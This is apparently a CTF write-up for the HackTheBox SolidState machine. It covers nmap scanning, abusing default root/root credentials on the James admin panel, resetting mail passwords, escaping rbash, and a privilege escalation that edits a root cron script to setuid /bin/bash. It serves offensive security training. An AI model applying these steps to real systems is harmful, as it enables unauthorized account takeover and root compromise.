> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md).

# Solidstate HackTheBox Writeup

Solidstate HackTheBox Medium Linux machine writeup covering Abusing James Remote Administration Tool, Changing a user's email password, Information Leakage, Escaping Restricted Bash (rbash), with prac

{% embed url="<https://app.hackthebox.com/machines/85>" %}

{% hint style="warning" %}
**Skills:**

* Abusing James Remote Administration Tool
* Changing a user's email password
* Information Leakage
* Escaping Restricted Bash (rbash)
* Creating a bash script in order to detect cron jobs (procmon.sh)
* Abusing Cron Job (Privilege Escalation)
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0021ae165d2f3722dd1687ff671ec27e8d5db9d8%2Fimage%20(2578).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-029fd137f779826b40571577b3958f82a3b1a938%2F%7B3013DF16-7E79-47B4-B431-311F654C6711%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Exploring open ports and exporting to the "allPorts" file in the Nmap directory.

```bash
nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.51 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a124ca1e2dace9426b1fb6f2a9f2dcb1bf06245%2Fimage%20(2579).png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Analysis with extractPorts:**

Using the extractPorts function to in a concise format display open ports and copy them into the clipboard (22.25,80,110,119,45555)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f728b9a9b55a968481962da255f0179506710a7a%2Fimage%20(2580).png?alt=media" alt=""><figcaption></figcaption></figure>

Port Version Scan with Nmap:

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p22,25,80,110,119,4555 10.10.10.51 -oN targeted 
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4266549df1cc2722c270624c30ed58779d1dcda1%2F%7B4122DB1E-ED8B-4F69-A716-86C5776BAC30%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 80

#### No interesting information was found on port 80.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-93a73940cc5b4af4578e63400ad6c54c8cde78a3%2Fimage%20(2581).png?alt=media" alt=""><figcaption></figcaption></figure>

## JAMES Remote Administration

### Port 119 - NNTP

> Port 119 uses the Network News Transfer Protocol. The server runs an Apache James instance, a mail server and news. We connect with `netcat`, but no relevant information is found.

```bash
nc 10.10.10.51 119
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ac52aaefad480ecc1e2707fb767e5cbb60df7b7e%2Fimage%20(2585).png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 4555 - Remote Administration Tool

> In the context of remote administration, it can be operated to access control panels or to interact with remote services on the target machine. It is important to scan it to see if it is open and what service it hosts.

We try to connect to the James administration panel via Telnet:

```bash
telnet 10.10.10.51 4555
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bd9b69cb11db8b4ba5cbde48f429f9937ce8bc64%2Fimage%20(2582).png?alt=media" alt=""><figcaption></figcaption></figure>

After searching for the default credentials, we find:

* **ID** : root
* **Password** : root

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69074b0e161c628ff9e3a8823ef1e0af04907555%2Fimage%20(2583).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1518ab79ebe0f30c9b60d29a92fc0a92595946eb%2Fimage%20(2584).png?alt=media" alt=""><figcaption></figcaption></figure>

We connect successfully and access James' administration panel. We have the option to list users with the `listusers` command, allowing us to discover 5 users:

* `user: james`
* `user: thomas`
* `user: john`
* `user: mindy`
* `user: mailadmin`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-15c171b11ef961402c79067a1813f6c62343f0be%2Fimage%20(2586).png?alt=media" alt=""><figcaption></figcaption></figure>

We can change user passwords with the `setpassword` command to connect them to the mail client on port 110. We do this for all users:

```ada
setpassword james james
setpassword thomas thomas
setpassword john john
setpassword mindy mindy
setpassword mailadmin mailadmin
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd03b9a00bf3d2978d4eafffbea83d2eb2f033c5%2Fimage%20(2587).png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 110 - POP3

> Port 110 is the standard port used for **POP3** (Post Office Protocol version 3). This protocol is used by email clients to retrieve emails from a server. When a user connects to a POP3 server via this port, they can download their messages.

We now connect to the POP3 client via Telnet:

<pre class="language-bash"><code class="lang-bash"><strong>telnet 10.10.10.51 110
</strong></code></pre>

To connect, we use the following commands:

```ada
USER <user>
PASS <password>
```

We list messages with the `list` command.

We observe that there are no messages in the boxes of `james` and `thomas`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c1d9940d1c339a1c5b9bc44b6b8a0c43d4c8b8c7%2Fimage%20(2588).png?alt=media" alt=""><figcaption></figcaption></figure>

However, the user `john` has a message that we recover with the `retr 1` command. The message contains the following text:

> John,
>
> Can you restrict Mindy's access until she's allowed to join the program? Also make sure to send her a temporary password so she can connect to her accounts.
>
> Thanks in advance.
>
> Cordialement,/ James

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b8f6ae1ff1fd1cf1787c337a246d667f138b24b1%2Fimage%20(2589).png?alt=media" alt=""><figcaption></figcaption></figure>

This suggests that the user `mindy` has credentials in his mailbox. Indeed, we find the following information:

* **Username** : mindy
* **Password** : P\@55W0rd1!2@

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b30fc925aed5ccf801ef0c46bc305b96ded344c3%2Fimage%20(2590).png?alt=media" alt=""><figcaption></figcaption></figure></div>

We use these credentials to connect via SSH and get the flag `user.txt`.

### Flag user.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e4aaa7b8b3c59eb50ae0ca7922721c841586d0bd%2Fimage%20(2591).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilege Escalation :

### **Escape from RBash to Bash**

The `mindy` user currently uses a `rbash` shell that limits the execution of many commands.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1b974ef5e62ab54ab40bb654c6edd6285db721d6%2Fimage%20(2592).png?alt=media" alt=""><figcaption></figcaption></figure>

To circumvent this restriction, we use the following command when connecting SSH to obtain a Bash shell:

```bash
ssh mindy@10.10.10.51 -t "bash --noprofile"
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2133a4742764de292e0e29c65c8b52dd97e53f23%2Fimage%20(2593).png?alt=media" alt=""><figcaption></figcaption></figure>

We then use the following commands to process the terminal and get a complete shell:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Cron tasks - Modified Script (Python):

We create a Bash script to analyze current processes and detect cron tasks performed on the target machine:

```bash
#!/bin/bash

old_process=$(ps -eo user,command)

while true; do
	new_process=$(ps -eo user,command)
	diff <(echo "$old_process") <(echo "$new_process") | grep "[/>/<]" | grep -vE "script|command|kworker"
	old_process=$new_process
done
```

By running this script, we notice that the **root** user is running a Python script located in the `/opt/tmp.py` directory.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9538c0cbd5164035789a6eea857c7073875affc4%2Fimage%20(914).png?alt=media" alt=""><figcaption></figcaption></figure>

We have the possibility to modify this Python script.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-95e7236d2a6a42cc92e1ab2bebbf6164597e73d9%2Fimage%20(915).png?alt=media" alt=""><figcaption></figcaption></figure>

We modify it to add the command to set a **setuid** on the `/bin/bash` binary, allowing us to run a Bash shell with the privileges of **root**:

```python
#!/usr/bin/env python
import os
import sys
try:
     os.system('chmod u+s /bin/bash')
except:
     sys.exit()
```

After editing the script, we wait about a minute for the cron task to run.

Once the cron task is executed, we can get a Bash shell with **root** privileges by running the following command:

```bash
/bin/bash -p
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-20afa3f33b8693d87c89d5a9adc507b116c361df%2Fimage%20(916).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30947eda0d69d9b47d9155cd855e52c6f542bbb5%2Fimage%20(917).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bdc1faec4f3dad1858ac9b48ad6737cb00b3a2ce%2F%7B1027F92C-0EA9-4241-A996-C0C29A1EA219%7D.png?alt=media" alt="" width="531"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
